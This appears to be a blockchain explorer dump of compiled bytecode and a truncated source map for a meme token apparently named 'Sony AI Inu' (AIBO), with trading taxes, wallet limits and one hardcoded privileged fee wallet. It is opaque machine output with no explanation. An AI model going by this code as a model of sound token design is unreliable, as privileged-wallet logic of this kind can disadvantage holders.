08310610133831016604e8410600b8410161715611a0f575081810a610423565b611a198383611954565b805f1904821115611a2c57611a2c611940565b029392505050565b5f61156760ff841683611996565b808202811582820484141761042357610423611940565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611a9e575f80fd5b815161156781611872565b5f805f60608486031215611abb575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611ae4575f80fd5b81518015158114611567575f80fd5b8082018082111561042357610423611940565b5f60018201611b1757611b17611940565b5060010190565b8181038181111561042357610423611940565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611b955784516001600160a01b031683529383019391830191600101611b70565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611bd057634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d2b044f1a18239f38b25959597207dfdd3a5a562930bfe8d983f58d68feb126964736f6c63430008170033

Deployed Bytecode

0x608060405260043610610134575f3560e01c8063751039fc116100a8578063a9059cbb1161006d578063a9059cbb14610353578063bf474bed14610372578063c9567bf914610387578063dd62ed3e1461039b578063e2432e68146103df578063f2fde38b146103f4575f80fd5b8063751039fc146102cd5780637d1db4a5146102e15780638da5cb5b146102f65780638f9a55c01461031257806395d89b4114610327575f80fd5b8063313ce567116100f9578063313ce5671461020957806349bd5a5e1461022457806351bc3c851461025b578063598526861461027157806370a0823114610285578063715018a6146102b9575f80fd5b806306fdde031461013f578063095ea7b3146101845780630faee56f146101b357806318160ddd146101d657806323b872dd146101ea575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5060408051808201909152600b81526a536f6e7920414920496e7560a81b60208201525b60405161017b9190611826565b60405180910390f35b34801561018f575f80fd5b506101a361019e366004611886565b610413565b604051901515815260200161017b565b3480156101be575f80fd5b506101c8600f5481565b60405190815260200161017b565b3480156101e1575f80fd5b506101c8610429565b3480156101f5575f80fd5b506101a36102043660046118b0565b61044a565b348015610214575f80fd5b506040516009815260200161017b565b34801561022f575f80fd5b50601154610243906001600160a01b031681565b6040516001600160a01b03909116815260200161017b565b348015610266575f80fd5b5061026f6104b1565b005b34801561027c575f80fd5b5061026f610502565b348015610290575f80fd5b506101c861029f3660046118ee565b6001600160a01b03165f9081526001602052604090205490565b3480156102c4575f80fd5b5061026f6105af565b3480156102d8575f80fd5b5061026f610620565b3480156102ec575f80fd5b506101c8600c5481565b348015610301575f80fd5b505f546001600160a01b0316610243565b34801561031d575f80fd5b506101c8600d5481565b348015610332575f80fd5b506040805180820190915260048152634149424f60e01b602082015261016e565b34801561035e575f80fd5b506101a361036d366004611886565b6106d4565b34801561037d575f80fd5b506101c8600e5481565b348015610392575f80fd5b5061026f6106e0565b3480156103a6575f80fd5b506101c86103b5366004611909565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103ea575f80fd5b506101c860125481565b3480156103ff575f80fd5b5061026f61040e3660046118ee565b610a99565b5f61041f338484610b80565b5060015b92915050565b5f6104366009600a611a34565b610445906461f313f880611a42565b905090565b5f610456848484610ca4565b6104a784336104a285604051806060016040528060288152602001611bd6602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611260565b610b80565b5060019392505050565b33735e269f1cfbccfc57afc98ce41538967e08076021146104d0575f80fd5b305f9081526001602052604090205480156104ee576104ee81611298565b4780156104fe576104fe81611408565b5050565b5f546001600160a01b031633146105345760405162461bcd60e51b815260040161052b90611a59565b60405180910390fd5b5f47116105835760405162461bcd60e51b815260206004820152601960248201527f546f6b656e3a206e6f2045544820746f207472616e7366657200000000000000604482015260640161052b565b60405133904780156108fc02915f818181858888f193505050501580156105ac573d5f803e3d5ffd5b50565b5f546001600160a01b031633146105d85760405162461bcd60e51b815260040161052b90611a59565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106495760405162461bcd60e51b815260040161052b90611a59565b6106556009600a611a34565b610664906461f313f880611a42565b600c556106736009600a611a34565b610682906461f313f880611a42565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106b26009600a611a34565b6106c1906461f313f880611a42565b60405190815260200160405180910390a1565b5f61041f338484610ca4565b5f546001600160a01b031633146107095760405162461bcd60e51b815260040161052b90611a59565b601154600160a01b900460ff16156107635760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161052b565b6011805460ff60a01b1916600160a01b179055601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107c09030906107b16009600a611a34565b6104a2906461f313f880611a42565b60105f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610810573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108349190611a8e565b6001600160a01b031663c9c653963060105f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610893573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108b79190611a8e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610901573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109259190611a8e565b601180546001600160a01b039283166001600160a01b03199091161790556010541663f305d719473061096c816001600160a01b03165f9081526001602052604090205490565b5f8061097f5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109e5573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a0a9190611aa9565b505060115460105460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610a5f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a839190611ad4565b506011805460ff60b01b1916600160b01b179055565b5f546001600160a01b03163314610ac25760405162461bcd60e51b815260040161052b90611a59565b6001600160a01b038116610b275760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161052b565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610be25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161052b565b6001600160a01b038216610c435760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161052b565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610d085760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161052b565b6001600160a01b038216610d6a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161052b565b5f8111610dcb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161052b565b601154600160a01b900460ff161580610ded5750601154600160a81b900460ff165b15610e0257610dfd838383611446565b505050565b5f80546001600160a01b03858116911614801590610e2d57505f546001600160a01b03848116911614155b8015610e5657506001600160a01b038316735e269f1cfbccfc57afc98ce41538967e0807602114155b156110af57610e876064610e81600854600b5411610e7657600454610e7a565b6006545b85906114e9565b9061156e565b6011549091506001600160a01b038581169116148015610eb557506010546001600160a01b03848116911614155b8015610ed957506001600160a01b0383165f9081526003602052604090205460ff16155b15610fbf57600c54821115610f305760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161052b565b600d5482610f52856001600160a01b03165f9081526001602052604090205490565b610f5c9190611af3565b1115610faa5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161052b565b600b8054905f610fb983611b06565b91905055505b6011546001600160a01b038481169116148015610fe557506001600160a01b0384163014155b156110125761100f6064610e81600954600b541161100557600554610e7a565b60075485906114e9565b90505b305f90815260016020526040902054601154600160a81b900460ff1615801561104857506011546001600160a01b038581169116145b801561105d5750601154600160b01b900460ff165b801561106a5750600e5481115b80156110795750600a54600b54115b156110ad5761109b6110968461109184600f546115af565b6115af565b611298565b4780156110ab576110ab47611408565b505b505b6001600160a01b0384165f9081526003602052604090205460ff16806110ec57506001600160a01b0383165f9081526003602052604090205460ff165b801561110157506001600160a01b0384163014155b801561111657506001600160a01b0383163014155b1561112057436013555b6001600160a01b0384165f9081526003602052604090205460ff1615801561116057506001600160a01b0383165f9081526003602052604090205460ff16155b1561124e576011546001600160a01b03848116911614611209576001600160a01b038084165f9081526014602052604090206011549091908116908616036111d15780545f036111cc57600a54600b5411156111be57438155611203565b6111c9600143611b1e565b81555b611203565b6001600160a01b0385165f908152601460205260409020815415806111f7575081548154105b1561120157805482555b505b5061124e565b601154600160b01b900460ff161561124e576001600160a01b0384165f90815260146020526040902060135481546112419190611b1e565b6002820155426001909101555b61125a848484846115c3565b50505050565b5f81848411156112835760405162461bcd60e51b815260040161052b9190611826565b505f61128f8486611b1e565b95945050505050565b6011805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112de576112de611b31565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611335573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113599190611a8e565b8160018151811061136c5761136c611b31565b6001600160a01b0392831660209182029290920101526010546113929130911684610b80565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac947906113ca9085905f90869030904290600401611b45565b5f604051808303815f87803b1580156113e1575f80fd5b505af11580156113f3573d5f803e3d5ffd5b50506011805460ff60a81b1916905550505050565b604051735e269f1cfbccfc57afc98ce41538967e080760219082156108fc029083905f818181858888f193505050501580156104fe573d5f803e3d5ffd5b6001600160a01b0383165f9081526001602052604090205461146890826115ed565b6001600160a01b038085165f908152600160205260408082209390935590841681522054611496908261162e565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c979085815260200190565b5f825f036114f857505f610423565b5f6115038385611a42565b9050826115108583611bb6565b146115675760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161052b565b9392505050565b5f61156783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061168c565b5f8183116115bd5782611567565b50919050565b5f6115cf8584846116b8565b90506115e68585836115e187876115ed565b611775565b5050505050565b5f61156783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611260565b5f8061163a8385611af3565b9050838110156115675760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161052b565b5f81836116ac5760405162461bcd60e51b815260040161052b9190611826565b505f61128f8486611bb6565b5f80735e269f1cfbccfc57afc98ce41538967e08076020196001600160a01b038616016116f1576012546116ec90856114e9565b6116f3565b835b9050821561176d57305f90815260016020526040902054611714908461162e565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906117649087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f9081526001602052604090205461179790836115ed565b6001600160a01b038086165f9081526001602052604080822093909355908516815220546117c5908261162e565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906118189085815260200190565b60405180910390a350505050565b5f602080835283518060208501525f5b8181101561185257858101830151858201604001528201611836565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146105ac575f80fd5b5f8060408385031215611897575f80fd5b82356118a281611872565b946020939093013593505050565b5f805f606084860312156118c2575f80fd5b83356118cd81611872565b925060208401356118dd81611872565b929592945050506040919091013590565b5f602082840312156118fe575f80fd5b813561156781611872565b5f806040838503121561191a575f80fd5b823561192581611872565b9150602083013561193581611872565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561198e57815f190482111561197457611974611940565b8085161561198157918102915b93841c9390800290611959565b509250929050565b5f826119a457506001610423565b816119b057505f610423565b81600181146119c657600281146119d0576119ec565b6001915050610423565b60ff8411156119e1576119e1611940565b50506001821b610423565b5060208310610133831016604e8410600b8410161715611a0f575081810a610423565b611a198383611954565b805f1904821115611a2c57611a2c611940565b029392505050565b5f61156760ff841683611996565b808202811582820484141761042357610423611940565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611a9e575f80fd5b815161156781611872565b5f805f60608486031215611abb575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611ae4575f80fd5b81518015158114611567575f80fd5b8082018082111561042357610423611940565b5f60018201611b1757611b17611940565b5060010190565b8181038181111561042357610423611940565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611b955784516001600160a01b031683529383019391830191600101611b70565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611bd057634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d2b044f1a18239f38b25959597207dfdd3a5a562930bfe8d983f58d68feb126964736f6c63430008170033

Deployed Bytecode Sourcemap

5156:10269:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7150:83;;;;;;;;;;-1:-1:-1;7220:5:0;;;;;;;;;;;;-1:-1:-1;;;7220:5:0;;;;7150:83;;;;;;;:::i;:::-;;;;;;;;7983:161;;;;;;;;;;-1:-1:-1;7983:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7983:161:0;1023:187:1;6276:54:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;6276:54:0;1215:177:1;7427:95:0;;;;;;;;;;;;;:::i;8152:313::-;;;;;;;;;;-1:-1:-1;8152:313:0;;;;;:::i;:::-;;:::i;7336:83::-;;;;;;;;;;-1:-1:-1;7336:83:0;;6003:1;2000:36:1;;1988:2;1973:18;7336:83:0;1858:184:1;6392:28:0;;;;;;;;;;-1:-1:-1;6392:28:0;;;;-1:-1:-1;;;;;6392:28:0;;;;;;-1:-1:-1;;;;;2211:32:1;;;2193:51;;2181:2;2166:18;6392:28:0;2047:203:1;15070:352:0;;;;;;;;;;;;;:::i;:::-;;14062:186;;;;;;;;;;;;;:::i;7530:119::-;;;;;;;;;;-1:-1:-1;7530:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;7623:18:0;7596:7;7623:18;;;:9;:18;;;;;;;7530:119;3080:148;;;;;;;;;;;;;:::i;13892:162::-;;;;;;;;;;;;;:::i;6081:56::-;;;;;;;;;;;;;;;;2614:79;;;;;;;;;;-1:-1:-1;2652:7:0;2679:6;-1:-1:-1;;;;;2679:6:0;2614:79;;6144:58;;;;;;;;;;;;;;;;7241:87;;;;;;;;;;-1:-1:-1;7313:7:0;;;;;;;;;;;;-1:-1:-1;;;7313:7:0;;;;7241:87;;7657:167;;;;;;;;;;-1:-1:-1;7657:167:0;;;;;:::i;:::-;;:::i;6209:60::-;;;;;;;;;;;;;;;;14356:669;;;;;;;;;;;;;:::i;7832:143::-;;;;;;;;;;-1:-1:-1;7832:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7940:18:0;;;7913:7;7940:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7832:143;6531:35;;;;;;;;;;;;;;;;2828:244;;;;;;;;;;-1:-1:-1;2828:244:0;;;;;:::i;:::-;;:::i;7983:161::-;8058:4;8075:39;1496:10;8098:7;8107:6;8075:8;:39::i;:::-;-1:-1:-1;8132:4:0;7983:161;;;;;:::o;7427:95::-;7480:7;6061:13;6003:1;6061:2;:13;:::i;:::-;6046:28;;:12;:28;:::i;:::-;7500:14;;7427:95;:::o;8152:313::-;8250:4;8267:36;8277:6;8285:9;8296:6;8267:9;:36::i;:::-;8314:121;8323:6;1496:10;8345:89;8383:6;8345:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8345:19:0;;;;;;:11;:19;;;;;;;;1496:10;8345:33;;;;;;;;;;:37;:89::i;:::-;8314:8;:121::i;:::-;-1:-1:-1;8453:4:0;8152:313;;;;;:::o;15070:352::-;1496:10;5597:42;15120:24;15112:33;;;;;;15196:4;15156:20;7623:18;;;:9;:18;;;;;;15216:14;;15213:74;;15245:30;15262:12;15245:16;:30::i;:::-;15317:21;15352:12;;15349:66;;15379:24;15392:10;15379:12;:24::i;:::-;15101:321;;15070:352::o;14062:186::-;2741:6;;-1:-1:-1;;;;;2741:6:0;1496:10;2741:22;2733:67;;;;-1:-1:-1;;;2733:67:0;;;;;;;:::i;:::-;;;;;;;;;14147:1:::1;14123:21;:25;14115:63;;;::::0;-1:-1:-1;;;14115:63:0;;5145:2:1;14115:63:0::1;::::0;::::1;5127:21:1::0;5184:2;5164:18;;;5157:30;5223:27;5203:18;;;5196:55;5268:18;;14115:63:0::1;4943:349:1::0;14115:63:0::1;14189:51;::::0;14197:10:::1;::::0;14218:21:::1;14189:51:::0;::::1;;;::::0;::::1;::::0;;;14218:21;14197:10;14189:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;14062:186::o:0;3080:148::-;2741:6;;-1:-1:-1;;;;;2741:6:0;1496:10;2741:22;2733:67;;;;-1:-1:-1;;;2733:67:0;;;;;;;:::i;:::-;3187:1:::1;3171:6:::0;;3150:40:::1;::::0;-1:-1:-1;;;;;3171:6:0;;::::1;::::0;3150:40:::1;::::0;3187:1;;3150:40:::1;3218:1;3201:19:::0;;-1:-1:-1;;;;;;3201:19:0::1;::::0;;3080:148::o;13892:162::-;2741:6;;-1:-1:-1;;;;;2741:6:0;1496:10;2741:22;2733:67;;;;-1:-1:-1;;;2733:67:0;;;;;;;:::i;:::-;6061:13:::1;6003:1;6061:2;:13;:::i;:::-;6046:28;::::0;:12:::1;:28;:::i;:::-;13948:12;:20:::0;6061:13:::1;6003:1;6061:2;:13;:::i;:::-;6046:28;::::0;:12:::1;:28;:::i;:::-;13979:14;:24:::0;14019:27:::1;6061:13;6003:1;6061:2;:13;:::i;:::-;6046:28;::::0;:12:::1;:28;:::i;:::-;14019:27;::::0;1361:25:1;;;1349:2;1334:18;14019:27:0::1;;;;;;;13892:162::o:0;7657:167::-;7735:4;7752:42;1496:10;7776:9;7787:6;7752:9;:42::i;14356:669::-;2741:6;;-1:-1:-1;;;;;2741:6:0;1496:10;2741:22;2733:67;;;;-1:-1:-1;;;2733:67:0;;;;;;;:::i;:::-;14420:11:::1;::::0;-1:-1:-1;;;14420:11:0;::::1;;;14419:12;14411:48;;;::::0;-1:-1:-1;;;14411:48:0;;5499:2:1;14411:48:0::1;::::0;::::1;5481:21:1::0;5538:2;5518:18;;;5511:30;5577:25;5557:18;;;5550:53;5620:18;;14411:48:0::1;5297:347:1::0;14411:48:0::1;14470:11;:17:::0;;-1:-1:-1;;;;14470:17:0::1;-1:-1:-1::0;;;14470:17:0::1;::::0;;14498:15:::1;:80:::0;;-1:-1:-1;;;;;;14498:80:0::1;14535:42;14498:80:::0;;::::1;::::0;;;14589:56:::1;::::0;14606:4:::1;::::0;6061:13:::1;6003:1;6061:2;:13;:::i;:::-;6046:28;::::0;:12:::1;:28;:::i;14589:56::-;14690:15;;;;;;;;;-1:-1:-1::0;;;;;14690:15:0::1;-1:-1:-1::0;;;;;14690:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;14672:55:0::1;;14736:4;14743:15;;;;;;;;;-1:-1:-1::0;;;;;14743:15:0::1;-1:-1:-1::0;;;;;14743:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14672:94;::::0;-1:-1:-1;;;;;;14672:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6135:15:1;;;14672:94:0::1;::::0;::::1;6117:34:1::0;6187:15;;6167:18;;;6160:43;6052:18;;14672:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14656:13;:110:::0;;-1:-1:-1;;;;;14656:110:0;;::::1;-1:-1:-1::0;;;;;;14656:110:0;;::::1;;::::0;;14777:15:::1;::::0;::::1;:31;14816:21;14847:4;14854:24;14847:4:::0;-1:-1:-1;;;;;7623:18:0;7596:7;7623:18;;;:9;:18;;;;;;;7530:119;14854:24:::1;14879:1;14881::::0;14883:7:::1;2652::::0;2679:6;-1:-1:-1;;;;;2679:6:0;;2614:79;14883:7:::1;14777:130;::::0;::::1;::::0;;;-1:-1:-1;;;;;;14777:130:0;;;-1:-1:-1;;;;;6573:15:1;;;14777:130:0::1;::::0;::::1;6555:34:1::0;6605:18;;;6598:34;;;;6648:18;;;6641:34;;;;6691:18;;;6684:34;6755:15;;;6734:19;;;6727:44;14891:15:0::1;6787:19:1::0;;;6780:35;6489:19;;14777:130:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;14925:13:0::1;::::0;14956:15:::1;::::0;14918:71:::1;::::0;-1:-1:-1;;;14918:71:0;;-1:-1:-1;;;;;14956:15:0;;::::1;14918:71;::::0;::::1;7311:51:1::0;-1:-1:-1;;7378:18:1;;;7371:34;14925:13:0;::::1;::::0;-1:-1:-1;14918:29:0::1;::::0;7284:18:1;;14918:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;15000:11:0::1;:17:::0;;-1:-1:-1;;;;15000:17:0::1;-1:-1:-1::0;;;15000:17:0::1;::::0;;14356:669::o;2828:244::-;2741:6;;-1:-1:-1;;;;;2741:6:0;1496:10;2741:22;2733:67;;;;-1:-1:-1;;;2733:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2917:22:0;::::1;2909:73;;;::::0;-1:-1:-1;;;2909:73:0;;7900:2:1;2909:73:0::1;::::0;::::1;7882:21:1::0;7939:2;7919:18;;;7912:30;7978:34;7958:18;;;7951:62;-1:-1:-1;;;8029:18:1;;;8022:36;8075:19;;2909:73:0::1;7698:402:1::0;2909:73:0::1;3019:6;::::0;;2998:38:::1;::::0;-1:-1:-1;;;;;2998:38:0;;::::1;::::0;3019:6;::::1;::::0;2998:38:::1;::::0;::::1;3047:6;:17:::0;;-1:-1:-1;;;;;;3047:17:0::1;-1:-1:-1::0;;;;;3047:17:0;;;::::1;::::0;;;::::1;::::0;;2828:244::o;8473:335::-;-1:-1:-1;;;;;8566:19:0;;8558:68;;;;-1:-1:-1;;;8558:68:0;;8307:2:1;8558:68:0;;;8289:21:1;8346:2;8326:18;;;8319:30;8385:34;8365:18;;;8358:62;-1:-1:-1;;;8436:18:1;;;8429:34;8480:19;;8558:68:0;8105:400:1;8558:68:0;-1:-1:-1;;;;;8645:21:0;;8637:68;;;;-1:-1:-1;;;8637:68:0;;8712:2:1;8637:68:0;;;8694:21:1;8751:2;8731:18;;;8724:30;8790:34;8770:18;;;8763:62;-1:-1:-1;;;8841:18:1;;;8834:32;8883:19;;8637:68:0;8510:398:1;8637:68:0;-1:-1:-1;;;;;8716:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8768:32;;1361:25:1;;;8768:32:0;;1334:18:1;8768:32:0;;;;;;;;8473:335;;;:::o;9075:3178::-;-1:-1:-1;;;;;9168:18:0;;9160:68;;;;-1:-1:-1;;;9160:68:0;;9115:2:1;9160:68:0;;;9097:21:1;9154:2;9134:18;;;9127:30;9193:34;9173:18;;;9166:62;-1:-1:-1;;;9244:18:1;;;9237:35;9289:19;;9160:68:0;8913:401:1;9160:68:0;-1:-1:-1;;;;;9247:16:0;;9239:64;;;;-1:-1:-1;;;9239:64:0;;9521:2:1;9239:64:0;;;9503:21:1;9560:2;9540:18;;;9533:30;9599:34;9579:18;;;9572:62;-1:-1:-1;;;9650:18:1;;;9643:33;9693:19;;9239:64:0;9319:399:1;9239:64:0;9338:1;9324:11;:15;9316:69;;;;-1:-1:-1;;;9316:69:0;;9925:2:1;9316:69:0;;;9907:21:1;9964:2;9944:18;;;9937:30;10003:34;9983:18;;;9976:62;-1:-1:-1;;;10054:18:1;;;10047:39;10103:19;;9316:69:0;9723:405:1;9316:69:0;9401:11;;-1:-1:-1;;;9401:11:0;;;;9400:12;;:24;;-1:-1:-1;9418:6:0;;-1:-1:-1;;;9418:6:0;;;;9400:24;9396:113;;;9441:35;9456:4;9461:2;9464:11;9441:14;:35::i;:::-;9075:3178;;;:::o;9396:113::-;9521:17;2679:6;;-1:-1:-1;;;;;9555:15:0;;;2679:6;;9555:15;;;;:32;;-1:-1:-1;2652:7:0;2679:6;-1:-1:-1;;;;;9574:13:0;;;2679:6;;9574:13;;9555:32;:51;;;;-1:-1:-1;;;;;;9591:15:0;;5597:42;9591:15;;9555:51;9551:1254;;;9636:82;9714:3;9636:73;9663:15;;9653:9;;:25;9652:56;;9694:14;;9652:56;;;9680:12;;9652:56;9636:11;;:15;:73::i;:::-;:77;;:82::i;:::-;9747:13;;9624:94;;-1:-1:-1;;;;;;9739:21:0;;;9747:13;;9739:21;:55;;;;-1:-1:-1;9778:15:0;;-1:-1:-1;;;;;9764:30:0;;;9778:15;;9764:30;;9739:55;:84;;;;-1:-1:-1;;;;;;9801:22:0;;;;;;:18;:22;;;;;;;;9799:24;9739:84;9735:322;;;9866:12;;9852:11;:26;;9844:64;;;;-1:-1:-1;;;9844:64:0;;10335:2:1;9844:64:0;;;10317:21:1;10374:2;10354:18;;;10347:30;10413:27;10393:18;;;10386:55;10458:18;;9844:64:0;10133:349:1;9844:64:0;9966:14;;9951:11;9935:13;9945:2;-1:-1:-1;;;;;7623:18:0;7596:7;7623:18;;;:9;:18;;;;;;;7530:119;9935:13;:27;;;;:::i;:::-;:45;;9927:84;;;;-1:-1:-1;;;9927:84:0;;10819:2:1;9927:84:0;;;10801:21:1;10858:2;10838:18;;;10831:30;10897:28;10877:18;;;10870:56;10943:18;;9927:84:0;10617:350:1;9927:84:0;10030:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9735:322;10080:13;;-1:-1:-1;;;;;10076:17:0;;;10080:13;;10076:17;:41;;;;-1:-1:-1;;;;;;10097:20:0;;10112:4;10097:20;;10076:41;10073:177;;;10150:84;10230:3;10150:75;10177:16;;10167:9;;:26;10166:58;;10209:15;;10166:58;;;10195:13;;10150:11;;:15;:75::i;:84::-;10138:96;;10073:177;10315:4;10266:28;7623:18;;;:9;:18;;;;;;10341:6;;-1:-1:-1;;;10341:6:0;;;;10340:7;:29;;;;-1:-1:-1;10356:13:0;;-1:-1:-1;;;;;10351:18:0;;;10356:13;;10351:18;10340:29;:44;;;;-1:-1:-1;10373:11:0;;-1:-1:-1;;;10373:11:0;;;;10340:44;:104;;;;;10427:17;;10405:20;:39;10340:104;:137;;;;;10459:18;;10448:9;;:29;10340:137;10336:458;;;10512:73;10529:55;10533:11;10545:38;10549:20;10571:11;;10545:3;:38::i;:::-;10529:3;:55::i;:::-;10512:16;:73::i;:::-;10633:21;10677:22;;10673:106;;10724:35;10737:21;10724:12;:35::i;:::-;10493:301;10336:458;9607:1198;9551:1254;-1:-1:-1;;;;;10822:24:0;;;;;;:18;:24;;;;;;;;;:50;;-1:-1:-1;;;;;;10850:22:0;;;;;;:18;:22;;;;;;;;10822:50;10821:76;;;;-1:-1:-1;;;;;;10877:20:0;;10892:4;10877:20;;10821:76;:98;;;;-1:-1:-1;;;;;;10901:18:0;;10914:4;10901:18;;10821:98;10817:164;;;10957:12;10936:18;:33;10817:164;-1:-1:-1;;;;;11013:24:0;;;;;;:18;:24;;;;;;;;11011:26;:67;;;;-1:-1:-1;;;;;;11056:22:0;;;;;;:18;:22;;;;;;;;11054:24;11011:67;10993:1195;;;11109:13;;-1:-1:-1;;;;;11109:19:0;;;:13;;:19;11105:1072;;-1:-1:-1;;;;;11185:18:0;;;11150:32;11185:18;;;:14;:18;;;;;11234:13;;11185:18;;11234:13;;;11226:21;;;;11222:679;;11276:19;;;:24;11272:308;;11343:18;;11333:9;;:28;11329:228;;;11416:12;11394:34;;11222:679;;11329:228;11515:14;11528:1;11515:12;:14;:::i;:::-;11493:36;;11329:228;11222:679;;;-1:-1:-1;;;;;11666:20:0;;11628:35;11666:20;;;:14;:20;;;;;11713:19;;:24;;:73;;-1:-1:-1;11767:19:0;;11742:22;;: